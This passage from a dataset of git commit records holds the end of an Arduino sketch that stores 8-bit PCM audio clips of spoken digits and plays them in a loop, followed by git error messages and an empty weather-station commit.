80,0x7f,0x7f,0x80,0x7f,0x80,0x7f,0x7f,0x80,0x80,0x7f,0x7f,0x7f,0x80\n,0x7f,0x7f,0x80,0x7f,0x80,0x80,0x7f,0x80,0x80,0x7e,0x7f,0x7e,0x80,0x7f,0x7e,0x80,0x7e,0x7f,0x81,0x7e,0x7f,0x81,0x7f,0x80,0x7f,0x7f,0x80,0x7e,0x80,0x80,0x7d,0x82\n,0x7f,0x7e,0x81,0x7e,0x80,0x80,0x7f,0x7e,0x81,0x7f,0x7e,0x7f,0x7f,0x7f,0x80,0x7f,0x80,0x80,0x7e,0x81,0x7f,0x7f,0x81,0x80,0x7e,0x81,0x7f,0x7f,0x80,0x7f,0x7f,0x7f\n,0x7f,0x80,0x7f,0x80,0x80,0x7f,0x81,0x80,0x7f,0x81,0x7f,0x7f,0x81,0x7f,0x81,0x7e,0x80,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x7f,0x80,0x7f,0x81,0x7e,0x81,0x7f,0x80\n,0x81,0x7f,0x80,0x7f,0x80,0x80,0x7e,0x82,0x7f,0x7f,0x81,0x7e,0x82,0x7f,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x80,0x7f,0x7f,0x81,0x7d,0x81,0x7e,0x7f,0x80,0x7e\n,0x81,0x7f,0x7e,0x83,0x7d,0x82,0x80,0x7e,0x82,0x7d,0x81,0x7f,0x7f,0x81,0x7e,0x80,0x80,0x7e,0x81,0x7e,0x81,0x7f,0x7f,0x81,0x7d,0x82,0x7d,0x81,0x80,0x7d,0x83,0x7d\n,0x81,0x80,0x7f,0x80,0x7f,0x80,0x7f,0x7f,0x80,0x7f,0x80,0x7f,0x80,0x81,0x7e,0x82,0x7e,0x7f,0x81,0x7d,0x81,0x7e,0x80,0x7f,0x7f,0x80,0x7e,0x81,0x7f,0x7e,0x81,0x7f\n,0x7f,0x81,0x7d,0x82,0x7e,0x81,0x7f,0x7f,0x81,0x7f,0x80,0x7f,0x80,0x7f,0x80,0x7f,0x7f,0x80,0x80,0x7f,0x80,0x80,0x80,0x80,0x80,0x7f,0x80,0x7f,0x80,0x7f,0x80,0x7f\n,0x7f,0x80,0x80,0x7f,0x80,0x80,0x7f,0x80,0x7f,0x80,0x80,0x80,0x7f,0x80,0x80,0x7f,0x81,0x7f,0x80,0x80,0x7f,0x80,0x80,0x7f,0x80,0x7f,0x7f,0x81,0x7f,0x80,0x80,0x7f\n,0x80,0x80,0x80,0x7f,0x80,0x7f,0x7f,0x80,0x7f,0x80,0x7f,0x7f,0x80,0x7f,0x80,0x7f,0x80,0x7f,0x7f,0x80,0x7e,0x80,0x7f,0x7f,0x81,0x7e};\n\nconst char unsigned PROGMEM PCM_INCHES[]={\n0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7f,0x81,0x82,0x83,0x84,0x85,0x85,0x85,0x85,0x85,0x84,0x83,0x83,0x83,0x82,0x82,0x82,0x81,0x81,0x81,0x80,0x80,0x7f,0x7f,0x7f,0x7e,0x7e\n,0x7e,0x7d,0x7d,0x7d,0x7c,0x7d,0x7d,0x7e,0x7f,0x80,0x80,0x81,0x81,0x81,0x82,0x82,0x82,0x81,0x81,0x81,0x80,0x7f,0x7e,0x7e,0x7d,0x7d,0x7d,0x7d,0x7d,0x7e,0x7e,0x7e\n,0x7e,0x7f,0x7f,0x7f,0x80,0x80,0x81,0x81,0x81,0x81,0x81,0x80,0x80,0x81,0x81,0x80,0x81,0x81,0x80,0x80,0x80,0x7f,0x7e,0x7d,0x7c,0x7b,0x7a,0x7a,0x7a,0x7a,0x7b,0x7b\n,0x7c,0x7e,0x7f,0x80,0x81,0x82,0x83,0x83,0x83,0x82,0x82,0x81,0x80,0x7f,0x7f,0x80,0x7f,0x7f,0x7f,0x7f,0x80,0x80,0x80,0x7f,0x7f,0x7e,0x7e,0x7f,0x7f,0x7e,0x7e,0x7e\n,0x7d,0x7d,0x7e,0x7e,0x7e,0x7f,0x80,0x80,0x81,0x82,0x82,0x82,0x83,0x83,0x83,0x83,0x85,0x85,0x85,0x86,0x85,0x84,0x85,0x82,0x81,0x81,0x7f,0x7e,0x7d,0x7c,0x7b,0x7b\n,0x7a,0x7a,0x7a,0x7b,0x7b,0x7b,0x7d,0x7d,0x7e,0x80,0x81,0x82,0x83,0x83,0x84,0x84,0x84,0x84,0x83,0x83,0x81,0x81,0x81,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7e,0x7e,0x7e\n,0x7e,0x7f,0x7f,0x7f,0x80,0x80,0x81,0x82,0x81,0x83,0x84,0x83,0x84,0x85,0x83,0x83,0x84,0x82,0x82,0x82,0x80,0x7f,0x7d,0x7b,0x78,0x75,0x74,0x70,0x6e,0x6f,0x6e,0x6e\n,0x72,0x73,0x75,0x7b,0x7e,0x81,0x85,0x87,0x88,0x8a,0x89,0x88,0x86,0x84,0x84,0x80,0x7f,0x7f,0x7d,0x7e,0x7f,0x7f,0x7f,0x80,0x7f,0x80,0x7f,0x7f,0x7d,0x7d,0x7d,0x7c\n,0x7e,0x7f,0x80,0x83,0x85,0x87,0x89,0x8a,0x8b,0x8c,0x8c,0x8b,0x89,0x86,0x84,0x81,0x7e,0x7c,0x7a,0x78,0x77,0x76,0x75,0x75,0x75,0x75,0x76,0x77,0x78,0x7b,0x7c,0x7e\n,0x80,0x80,0x82,0x83,0x82,0x83,0x82,0x82,0x83,0x82,0x83,0x85,0x86,0x89,0x8a,0x8b,0x8e,0x8d,0x8d,0x8e,0x8c,0x8c,0x8b,0x88,0x89,0x85,0x81,0x81,0x7e,0x78,0x75,0x6f\n,0x68,0x61,0x5a,0x58,0x57,0x52,0x5b,0x63,0x60,0x75,0x7e,0x82,0x93,0x99,0x9a,0x9f,0x9d,0x99,0x96,0x8e,0x8d,0x86,0x83,0x86,0x82,0x81,0x88,0x85,0x84,0x88,0x83,0x80\n,0x7e,0x79,0x74,0x74,0x73,0x73,0x76,0x7a,0x80,0x86,0x8d,0x94,0x99,0x9c,0xa1,0x9f,0x9c,0x9a,0x93,0x8b,0x83,0x79,0x6f,0x64,0x59,0x51,0x49,0x3f,0x43,0x49,0x40,0x58\n,0x64,0x61,0x7f,0x89,0x8d,0x9e,0xa1,0xa0,0xa2,0x9a,0x98,0x91,0x86,0x8b,0x81,0x7b,0x83,0x7e,0x7c,0x85,0x82,0x7f,0x85,0x7d,0x80,0x7a,0x7f,0x81,0x78,0x87,0x8b,0x86\n,0x98,0xa0,0x9b,0xaa,0xab,0xac,0xab,0xa7,0xa5,0x97,0x8b,0x86,0x71,0x61,0x59,0x45,0x35,0x30,0x23,0x2f,0x2c,0x2a,0x5d,0x4a,0x63,0x92,0x83,0xa0,0xb4,0xac,0xb6,0xb6\n,0xa6,0xae,0x97,0x91,0x99,0x7e,0x83,0x8b,0x78,0x81,0x88,0x76,0x82,0x7c,0x73,0x79,0x73,0x72,0x76,0x76,0x7b,0x80,0x85,0x92,0x97,0x9c,0xaa,0xaa,0xad,0xb1,0xae,0xa7\n,0x9f,0x96,0x88,0x77,0x65,0x59,0x3e,0x31,0x26,0x18,0x10,0x1d,0x24,0x22,0x52,0x55,0x67,0x94,0x94,0xad,0xb9,0xba,0xbf,0xb8,0xac,0xad,0x9b,0x8c,0x95,0x81,0x7e,0x88\n,0x7b,0x80,0x85,0x7e,0x82,0x81,0x80,0x7f,0x7f,0x80,0x7c,0x81,0x84,0x85,0x8d,0x94,0x9a,0xa0,0xa8,0xac,0xae,0xad,0xad,0xa3,0x97,0x8e,0x79,0x69,0x57,0x3f,0x2e,0x20\n,0x14,0x0a,0x14,0x26,0x1c,0x49,0x63,0x62,0x97,0xa5,0xb2,0xca,0xc9,0xcd,0xce,0xb4,0xb7,0xaf,0x8a,0x95,0x88,0x76,0x7e,0x7a,0x76,0x80,0x78,0x81,0x88,0x78,0x89,0x86\n,0x7c,0x83,0x86,0x82,0x85,0x8b,0x8f,0x96,0x97,0xa4,0xa9,0xa6,0xad,0xae,0xa5,0x9d,0x94,0x82,0x6f,0x5b,0x48,0x30,0x1e,0x11,0x05,0x00,0x10,0x18,0x20,0x50,0x59,0x73\n,0x9d,0xa7,0xc6,0xd1,0xd3,0xdc,0xd1,0xbd,0xbe,0xa9,0x91,0x92,0x7f,0x78,0x79,0x71,0x79,0x7c,0x77,0x87,0x83,0x82,0x8a,0x88,0x87,0x87,0x89,0x87,0x86,0x87,0x90,0x90\n,0x91,0x9c,0x9f,0x9d,0xa1,0xa2,0x9d,0x95,0x8b,0x82,0x70,0x5d,0x51,0x39,0x2b,0x1b,0x10,0x0c,0x13,0x18,0x21,0x45,0x4e,0x68,0x8c,0x9b,0xb8,0xc9,0xd0,0xdc,0xd8,0xcb\n,0xc8,0xba,0xa7,0x9d,0x91,0x84,0x7e,0x77,0x73,0x77,0x74,0x74,0x78,0x79,0x78,0x7c,0x7e,0x80,0x86,0x84,0x89,0x8e,0x90,0x95,0x9a,0xa0,0xa4,0xa6,0xa9,0xad,0xa8,0xa7\n,0xa3,0x9a,0x8f,0x84,0x76,0x65,0x56,0x43,0x32,0x23,0x16,0x0e,0x0a,0x0d,0x13,0x1f,0x32,0x47,0x62,0x7c,0x95,0xae,0xbf,0xcd,0xd5,0xda,0xda,0xd5,0xcf,0xc5,0xb9,0xad\n,0xa2,0x95,0x8c,0x84,0x7c,0x77,0x73,0x72,0x6f,0x70,0x72,0x74,0x77,0x7b,0x7f,0x81,0x85,0x88,0x8b,0x8e,0x92,0x94,0x94,0x96,0x95,0x91,0x8d,0x88,0x7f,0x74,0x6a,0x5c\n,0x4f,0x42,0x36,0x2d,0x26,0x23,0x24,0x28,0x30,0x3f,0x51,0x65,0x7b,0x90,0xa3,0xb4,0xbf,0xcb,0xd0,0xd0,0xd0,0xc9,0xc3,0xb9,0xad,0xa3,0x97,0x8d,0x83,0x7b,0x75,0x6f\n,0x6c,0x6b,0x6c,0x6d,0x72,0x77,0x7b,0x80,0x83,0x88,0x8b,0x8e,0x93,0x94,0x96,0x99,0x99,0x9a,0x99,0x96,0x91,0x89,0x81,0x76,0x6a,0x5b,0x4f,0x41,0x33,0x2c,0x25,0x23\n,0x23,0x29,0x35,0x45,0x58,0x6d,0x83,0x97,0xab,0xba,0xc6,0xcf,0xd2,0xd4,0xd1,0xcc,0xc5,0xba,0xaf,0xa5,0x98,0x8d,0x84,0x7a,0x74,0x70,0x6c,0x6a,0x69,0x6a,0x6a,0x6a\n,0x6c,0x6e,0x71,0x74,0x7a,0x7f,0x84,0x8a,0x8f,0x96,0x99,0x9d,0x9e,0x9c,0x98,0x92,0x8c,0x83,0x7a,0x6e,0x64,0x5b,0x4f,0x45,0x3c,0x35,0x31,0x31,0x35,0x3d,0x49,0x58\n,0x6a,0x7b,0x8b,0x9c,0xa8,0xb3,0xbc,0xc0,0xc2,0xc1,0xbe,0xb9,0xb2,0xab,0xa3,0x9a,0x92,0x8a,0x84,0x7d,0x78,0x75,0x70,0x6c,0x6b,0x69,0x68,0x69,0x6b,0x6c,0x70,0x75\n,0x79,0x7f,0x83,0x89,0x8c,0x8f,0x92,0x93,0x93,0x91,0x8f,0x8b,0x88,0x84,0x7f,0x7b,0x76,0x71,0x6c,0x67,0x63,0x5f,0x5c,0x5b,0x5a,0x5a,0x5c,0x60,0x65,0x6c,0x76,0x7d\n,0x85,0x8b,0x92,0x95,0x96,0x97,0x97,0x95,0x93,0x92,0x90,0x8e,0x8d,0x8c,0x8a,0x88,0x87,0x86,0x85,0x85,0x86,0x86,0x87,0x87,0x86,0x86,0x87,0x88,0x88,0x88,0x89,0x8a\n,0x89,0x8a,0x8a,0x89,0x88,0x85,0x83,0x81,0x7f,0x7d,0x7c,0x7a,0x78,0x77,0x77,0x76,0x76,0x76,0x77,0x77,0x76,0x76,0x76,0x76,0x75,0x74,0x73,0x70,0x6e,0x6d,0x6c,0x6a\n,0x6a,0x6b,0x6b,0x6c,0x6e,0x71,0x73,0x75,0x78,0x7b,0x7d,0x80,0x84,0x87,0x89,0x8c,0x8f,0x92,0x94,0x96,0x97,0x97,0x97,0x97,0x96,0x95,0x93,0x91,0x8f,0x8d,0x8b,0x88\n,0x86,0x84,0x82,0x80,0x7d,0x7c,0x7a,0x7a,0x79,0x79,0x79,0x7a,0x7b,0x7c,0x7e,0x80,0x80,0x81,0x81,0x82,0x81,0x81,0x81,0x7f,0x7d,0x7b,0x7a,0x76,0x7c,0x6f,0x73,0x70\n,0x77,0x76,0x6e,0x74,0x6b,0x74,0x71,0x75,0x71,0x7f,0x7c,0x7d,0x7d,0x7a,0x7f,0x7d,0x80,0x7f,0x80,0x7f,0x87,0x7f,0x8a,0x89,0x8a,0x8e,0x8d,0x97,0x91,0x90,0x8a,0x88\n,0x89,0x85,0x87,0x7f,0x8c,0x8a,0x8d,0x8b,0x86,0x87,0x85,0x86,0x7d,0x82,0x78,0x7d,0x71,0x7c,0x72,0x77,0x79,0x75,0x7f,0x76,0x85,0x78,0x86,0x7b,0x85,0x7e,0x81,0x7e\n,0x7a,0x85,0x78,0x82,0x78,0x7f,0x79,0x7d,0x77,0x79,0x78,0x76,0x7a,0x73,0x79,0x76,0x78,0x79,0x7b,0x7a,0x7d,0x7e,0x7f,0x7f,0x7f,0x84,0x7e,0x82,0x80,0x86,0x85,0x82\n,0x86,0x87,0x86,0x86,0x8a,0x86,0x88,0x82,0x8b,0x7b,0x88,0x7c,0x7e,0x80,0x79,0x82,0x76,0x82,0x78,0x82,0x7b,0x82,0x7e,0x83,0x82,0x83,0x85,0x82,0x83,0x7d,0x82,0x7b\n,0x7c,0x7e,0x79,0x7b,0x7a,0x7b,0x7d,0x7b,0x7d,0x7d,0x81,0x79,0x83,0x7a,0x83,0x7b,0x82,0x7d,0x7f,0x81,0x79,0x85,0x79,0x85,0x7a,0x87,0x7d,0x82,0x85,0x83,0x7d,0x88\n,0x7e,0x81,0x89,0x7c,0x8a,0x81,0x83,0x82,0x87,0x81,0x86,0x7d,0x89,0x7a,0x8d,0x77,0x85,0x85,0x7e,0x89,0x7c,0x87,0x75,0x89,0x74,0x84,0x77,0x7e,0x7a,0x7c,0x77,0x7c\n,0x7c,0x78,0x81,0x76,0x89,0x75,0x85,0x7d,0x7e,0x81,0x7a,0x83,0x78,0x82,0x7d,0x81,0x81,0x78,0x89,0x72,0x88,0x75,0x80,0x82,0x75,0x87,0x73,0x88,0x73,0x88,0x77,0x7f\n,0x84,0x75,0x87,0x79,0x88,0x7a,0x88,0x82,0x7d,0x8f,0x7a,0x88,0x85,0x80,0x89,0x7e,0x84,0x82,0x7f,0x7c,0x87,0x74,0x83,0x7e,0x75,0x87,0x74,0x80,0x7e,0x86,0x74,0x87\n,0x84,0x75,0x8b,0x7f,0x75,0x89,0x86,0x65,0x98,0x7a,0x6f,0x90,0x74,0x83,0x82,0x78,0x7f,0x87,0x73,0x81,0x81,0x79,0x83,0x78,0x84,0x7e,0x80,0x7f,0x83,0x84,0x7c,0x82\n,0x87,0x7f,0x7c,0x8b,0x7c,0x86,0x85,0x79,0x89,0x88,0x77,0x86,0x89,0x75,0x87,0x81,0x7b,0x83,0x7f,0x7a,0x89,0x7e,0x76,0x94,0x76,0x86,0x85,0x7b,0x8d,0x79,0x84,0x7f\n,0x8b,0x73,0x85,0x80,0x7c,0x83,0x72,0x8d,0x70,0x87,0x7c,0x78,0x86,0x76,0x7c,0x84,0x7b,0x76,0x7f,0x7c,0x7c,0x7c,0x79,0x81,0x87,0x72,0x8d,0x85,0x78,0x97,0x7c,0x87\n,0x7f,0x7a,0x7d,0x7a,0x84,0x6e,0x8d,0x72,0x7d,0x83,0x78,0x86,0x7d,0x85,0x7e,0x83,0x7d,0x85,0x7a,0x81,0x85,0x7a,0x7f,0x84,0x7d,0x7f,0x84,0x79,0x85,0x83,0x77,0x8c\n,0x7b,0x79,0x8b,0x77,0x83,0x7f,0x7f,0x7e,0x81,0x77,0x84,0x81,0x74,0x88,0x79,0x7c,0x81,0x7b,0x7f,0x82,0x78,0x8b,0x7a,0x83,0x87,0x7c,0x87,0x81,0x7c,0x86,0x82,0x73\n,0x8c,0x7d,0x77,0x8e,0x7c,0x7d,0x92,0x77,0x88,0x89,0x7a,0x8a,0x87,0x79,0x89,0x86,0x77,0x91,0x7a,0x80,0x8f,0x79,0x80,0x8c,0x78,0x84,0x86,0x75,0x85,0x83,0x72,0x8c\n,0x78,0x7d,0x88,0x7a,0x82,0x7f,0x82,0x7e,0x87,0x77,0x83,0x84,0x77,0x87,0x79,0x7e,0x85,0x77,0x7f,0x7f,0x7a,0x7f,0x7c,0x79,0x7c,0x7e,0x79,0x7d,0x7d,0x7a,0x82,0x78\n,0x80,0x7d,0x79,0x83,0x79,0x7f,0x7c,0x7f,0x7e,0x83,0x7e,0x7f,0x87,0x7e,0x83,0x7f,0x84,0x7e,0x7f,0x81,0x80,0x7e,0x80,0x81,0x7a,0x84,0x7b,0x7e,0x85,0x7b,0x7b,0x85\n,0x7d,0x7a,0x84,0x7f,0x7f,0x87,0x7d,0x86,0x89,0x80,0x8a,0x88,0x86,0x88,0x87,0x84,0x87,0x81,0x80,0x85,0x7d,0x7b,0x83,0x77,0x7b,0x7b,0x75,0x76,0x73,0x71,0x6d,0x6f\n,0x68,0x68,0x68,0x66,0x65,0x69,0x71,0x70,0x73,0x82,0x82,0x8b,0x94,0x96,0xa1,0xa1,0x9f,0xa2,0xa6,0x98,0x9b,0x9c,0x91,0x93,0x8d,0x8f,0x90,0x89,0x8a,0x8d,0x8d,0x87\n,0x89,0x87,0x86,0x82,0x7d,0x80,0x7b,0x76,0x74,0x76,0x6d,0x6e,0x68,0x66,0x65,0x5a,0x55,0x56,0x50,0x4a,0x48,0x60,0x5a,0x51,0x7f,0x77,0x87,0x9c,0x9d,0xb4,0xba,0xb0\n,0xb4,0xc4,0x9c,0x98,0x9f,0x7b,0x7d,0x6b,0x60,0x6a,0x5b,0x54,0x64,0x69,0x63,0x71,0x79,0x7c,0x85,0x82,0x8a,0x96,0x8f,0x8e,0x98,0x98,0x95,0x96,0x97,0x9b,0x98,0x92\n,0x98,0x9d,0x94,0x91,0x99,0x94,0x8f,0x8d,0x89,0x87,0x7b,0x70,0x6e,0x65,0x53,0x4c,0x47,0x3f,0x35,0x2d,0x33,0x33,0x42,0x4c,0x45,0x74,0x7a,0x80,0xa5,0xa8,0xba,0xc5\n,0xc2,0xc4,0xc8,0xb4,0xa6,0xa6,0x8f,0x81,0x7b,0x6c,0x6e,0x65,0x5f,0x6c,0x6b,0x6d,0x71,0x7b,0x7e,0x81,0x84,0x85,0x8d,0x8a,0x89,0x8e,0x8e,0x8d,0x8e,0x94,0x96,0x97\n,0x99,0x9c,0xa1,0xa1,0x9f,0xa3,0xa3,0x9c,0x9d,0x96,0x91,0x8d,0x7f,0x7b,0x75,0x66,0x5f,0x56,0x4b,0x46,0x3c,0x35,0x2f,0x35,0x2c,0x53,0x4a,0x3b,0x89,0x72,0x86,0xac\n,0x9f,0xc0,0xc5,0xb1,0xb9,0xc1,0x9d,0x92,0x90,0x79,0x6e,0x67,0x55,0x62,0x62,0x51,0x6a,0x6f,0x71,0x7a,0x80,0x88,0x8f,0x8d,0x84,0x97,0x8e,0x7f,0x84,0x8b,0x81,0x80\n,0x83,0x84,0x94,0x87,0x90,0xa1,0xa3,0x9e,0xab,0xad,0xab,0xae,0x9e,0xa5,0xa0,0x8a,0x86,0x83,0x72,0x68,0x60,0x56,0x55,0x49,0x3f,0x48,0x43,0x3d,0x3e,0x3e,0x40,0x6b\n,0x4e,0x49,0x9c,0x6c,0x87,0xae,0x8b,0xbd,0xbe,0x98,0xba,0xba,0x94,0x9b,0x96,0x82,0x84,0x7d,0x64,0x82,0x78,0x62,0x86,0x7b,0x7f,0x89,0x81,0x89,0x94,0x86,0x7e,0x94\n,0x86,0x75,0x83,0x79,0x79,0x7a,0x6f,0x7f,0x80,0x7f,0x89,0x96,0x9d,0xa4,0xab,0xb4,0xba,0xba,0xb2,0xb3,0xaf,0x98,0x95,0x84,0x79,0x6d,0x5b,0x58,0x55,0x4e,0x4a,0x4e\n,0x4e,0x52,0x52,0x4e,0x55,0x52,0x49,0x49,0x5f,0x57,0x42,0x71,0x6d,0x6d,0x94,0x85,0x9e,0xbf,0x9f,0xb1,0xc7,0xa7,0xad,0xa7,0x92,0x94,0x8a,0x70,0x78,0x79,0x63,0x6f\n,0x6f,0x6a,0x79,0x73,0x70,0x86,0x7f,0x75,0x88,0x84,0x7c,0x84,0x7d,0x7f,0x87,0x78,0x7d,0x86,0x85,0x85,0x88,0x93,0x96,0x9e,0x9b,0xa7,0xb0,0xa6,0xa6,0xaa,0xa0,0x98\n,0x8d,0x80,0x80,0x70,0x65,0x62,0x64,0x5e,0x5d,0x61,0x68,0x6d,0x65,0x6c,0x6f,0x69,0x63,0x5f,0x58,0x57,0x47,0x52,0x62,0x48,0x67,0x7a,0x74,0x9e,0x9f,0xa4,0xcf,0xc0\n,0xbc,0xd3,0xba,0xb5,0xaf,0x95,0x8d,0x87,0x6f,0x65,0x6d,0x5c,0x5f,0x67,0x60,0x70,0x76,0x71,0x86,0x89,0x84,0x90,0x93,0x8e,0x90,0x91,0x88,0x8d,0x88,0x7c,0x85,0x7c\n,0x7b,0x84,0x79,0x86,0x89,0x88,0x8f,0x96,0x95,0x9a,0x98,0x92,0x94,0x8a,0x7e,0x7d,0x73,0x66,0x66,0x5d,0x5e,0x5e,0x5b,0x61,0x6b,0x69,0x71,0x75,0x75,0x7a,0x75,0x70\n,0x6f,0x69,0x5d,0x5a,0x5b,0x64,0x57,0x5d,0x73,0x72,0x85,0x8e,0x8e,0xad,0xad,0xa1,0xb3,0xab,0xa7,0xa2,0x8f,0x8d,0x8b,0x78,0x70,0x71,0x6f,0x6b,0x6c,0x6b,0x73,0x7c\n,0x74,0x7e,0x88,0x84,0x8b,0x8d,0x8c,0x92,0x8f,0x8d,0x8c,0x8e,0x88,0x85,0x85,0x7f,0x86,0x80,0x7d,0x86,0x83,0x85,0x8a,0x88,0x8e,0x92,0x8b,0x8e,0x8f,0x89,0x88,0x83\n,0x7c,0x81,0x77,0x73,0x7a,0x74,0x77,0x7c,0x77,0x80,0x83,0x7b,0x81,0x80,0x75,0x78,0x6f,0x65,0x66,0x5a,0x53,0x5a,0x5e,0x58,0x5e,0x6d,0x72,0x80,0x8c,0x8d,0xa1,0xab\n,0xa1,0xac,0xab,0xa3,0xa3,0x96,0x8c,0x8d,0x83,0x75,0x76,0x71,0x6d,0x70,0x6c,0x6e,0x78,0x74,0x77,0x7d,0x7c,0x81,0x84,0x80,0x82,0x85,0x82,0x80,0x80,0x80,0x81,0x7f\n,0x7d,0x81,0x83,0x81,0x84,0x87,0x87,0x8c,0x8b,0x8b,0x91,0x8a,0x8c,0x8d,0x84,0x86,0x83,0x7b,0x7d,0x7a,0x74,0x79,0x76,0x73,0x7b,0x78,0x74,0x7d,0x79,0x78,0x7d,0x73\n,0x73,0x75,0x6b,0x68,0x66,0x5e,0x5f,0x5d,0x61,0x64,0x64,0x71,0x77,0x83,0x91,0x92,0xa0,0xab,0xa8,0xac,0xa9,0xa5,0xa5,0x9a,0x90,0x8b,0x85,0x7b,0x77,0x72,0x70,0x75\n,0x70,0x70,0x77,0x77,0x7c,0x7e,0x7d,0x83,0x88,0x87,0x84,0x89,0x8b,0x8b,0x8a,0x87,0x8d,0x8e,0x89,0x88,0x8a,0x8a,0x8a,0x87,0x85,0x8a,0x8a,0x87,0x87,0x88,0x87,0x89\n,0x82,0x80,0x83,0x7e,0x7a,0x77,0x73,0x75,0x72,0x6c,0x70,0x70,0x71,0x72,0x71,0x75,0x78,0x75,0x74,0x75,0x74,0x71,0x6c,0x69,0x69,0x64,0x67,0x6a,0x64,0x71,0x74,0x77\n,0x86,0x85,0x8d,0x99,0x98,0x9b,0x9c,0x99,0x99,0x96,0x8d,0x88,0x88,0x80,0x7d,0x7b,0x75,0x7b,0x79,0x75,0x79,0x78,0x79,0x7c,0x7a,0x79,0x80,0x81,0x7d,0x81,0x83,0x83\n,0x89,0x86,0x86,0x8e,0x8c,0x8b,0x8e,0x8c,0x8e,0x90,0x8a,0x8b,0x8e,0x89,0x88,0x87,0x82,0x85,0x83,0x7b,0x7e,0x7c,0x77,0x78,0x75,0x73,0x76,0x73,0x71,0x78,0x76,0x77\n,0x7b,0x7a,0x7d,0x7e,0x7b,0x7d,0x7e,0x7a,0x7a,0x79,0x77,0x78,0x76,0x76,0x78,0x79,0x79,0x7d,0x80,0x82,0x87,0x87,0x8b,0x8d,0x8d,0x8e,0x8f,0x8c,0x8b,0x8a,0x87,0x86\n,0x84,0x80,0x80,0x81,0x7d,0x7f,0x7f,0x7e,0x80,0x80,0x7f,0x81,0x81,0x80,0x81,0x80,0x80,0x80,0x81,0x80,0x80,0x81,0x81,0x82,0x82,0x82,0x83,0x84,0x83,0x82,0x82,0x83\n,0x83,0x81,0x81,0x80,0x7f,0x7d,0x7b,0x7a,0x79,0x77,0x76,0x74,0x74,0x74,0x74,0x74,0x76,0x78,0x78,0x79,0x7a,0x7a,0x7c,0x7c,0x7b,0x7c,0x7c,0x7b,0x7b,0x7b,0x7b,0x7c\n,0x7c,0x7e,0x7e,0x80,0x81,0x83,0x84,0x85,0x86,0x86,0x87,0x86,0x87,0x86,0x86,0x86,0x84,0x84,0x83,0x82,0x82,0x82,0x82,0x84,0x85,0x85,0x85,0x85,0x86,0x87,0x86,0x84\n,0x84,0x83,0x82,0x80,0x7f,0x7f,0x7f,0x7f,0x7e,0x7e,0x7f,0x80,0x80,0x80,0x82,0x82,0x82,0x82,0x83,0x83,0x83,0x82,0x80,0x81,0x7f,0x7e,0x7e,0x7c,0x7c,0x7d,0x7b,0x7a\n,0x7a,0x79,0x7b,0x7b,0x7a,0x7b,0x7d,0x7c,0x7c,0x7d,0x7e,0x7f,0x7f,0x7e,0x7f,0x80,0x81,0x81,0x80,0x81,0x82,0x82,0x80,0x81,0x81,0x82,0x80,0x81,0x7f,0x81,0x80,0x7e\n,0x7e,0x7d,0x7f,0x7d,0x7d,0x7a,0x7c,0x7c,0x7c,0x7b,0x7c,0x7d,0x7f,0x7f,0x7f,0x81,0x83,0x82,0x81,0x82,0x81,0x82,0x7f,0x7e,0x7e,0x7d,0x7c,0x7b,0x7b,0x7b,0x7c,0x7c\n,0x7c,0x7d,0x7f,0x80,0x82,0x82,0x83,0x84,0x84,0x84,0x84,0x83,0x83,0x82,0x80,0x81,0x7f,0x80,0x7f,0x7f,0x7f,0x81,0x80,0x81,0x81,0x81,0x83,0x82,0x82,0x83,0x83,0x83\n,0x81,0x82,0x82,0x82,0x80,0x80,0x81,0x81,0x81,0x80,0x81,0x82,0x83,0x82,0x82,0x83,0x82,0x82,0x80,0x81,0x80,0x80,0x7f,0x7f,0x7e,0x7f,0x7f,0x7e,0x7f,0x7f,0x80,0x7f\n,0x80,0x7e,0x81,0x7f,0x7f,0x80,0x7f,0x7f,0x7f,0x7f,0x7e,0x7f,0x7d,0x7e,0x7d,0x7e,0x7e,0x7e,0x7f,0x7f,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x80,0x7f,0x7f,0x7f,0x7f\n,0x7f,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7e,0x7f,0x7d,0x7f,0x7e,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x7f,0x80,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x80\n,0x7f,0x80,0x7f,0x7f,0x80,0x7f,0x7f,0x7f,0x7e,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x7f,0x80,0x7f,0x80,0x81,0x81,0x81,0x81,0x81,0x81,0x81,0x80,0x81,0x80,0x81,0x7f,0x80\n,0x7f,0x7f};\n\nvoid setup() {\n}\n\nvoid loop() {\n startPlayback(PCM_ZERO, sizeof(PCM_ZERO));\n delay(1000);\n startPlayback(PCM_ONE, sizeof(PCM_ONE));\n delay(1000);\n startPlayback(PCM_TWO, sizeof(PCM_TWO));\n delay(1000);\n startPlayback(PCM_THREE, sizeof(PCM_THREE));\n delay(1000);\n startPlayback(PCM_FOUR, sizeof(PCM_FOUR));\n delay(1000);\n startPlayback(PCM_FIVE, sizeof(PCM_FIVE));\n delay(1000);\n startPlayback(PCM_SIX, sizeof(PCM_SIX));\n delay(1000);\n startPlayback(PCM_SEVEN, sizeof(PCM_SEVEN));\n delay(1000);\n startPlayback(PCM_EIGHT, sizeof(PCM_EIGHT));\n delay(1000);\n startPlayback(PCM_NINE, sizeof(PCM_NINE));\n delay(1000);\n startPlayback(PCM_POINT, sizeof(PCM_POINT));\n delay(1000);\n startPlayback(PCM_MINUS, sizeof(PCM_MINUS));\n delay(1000);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'count.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5c53ebce515d36cf51783ac1afc8fe6eded3863e","subject":"Just getting started.","message":"Just getting started.\n","repos":"spoollord\/MyOurWeather,spoollord\/MyOurWeather","old_file":"MyOurWeather.ino","new_file":"MyOurWeather.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/spoollord\/MyOurWeather.git\/'\n","license":"isc","lang":"Arduino"} {"commit":"715cc21196644594fe306af8b3df28afe3779a17","subject":"Analog read example.","message":"Analog read 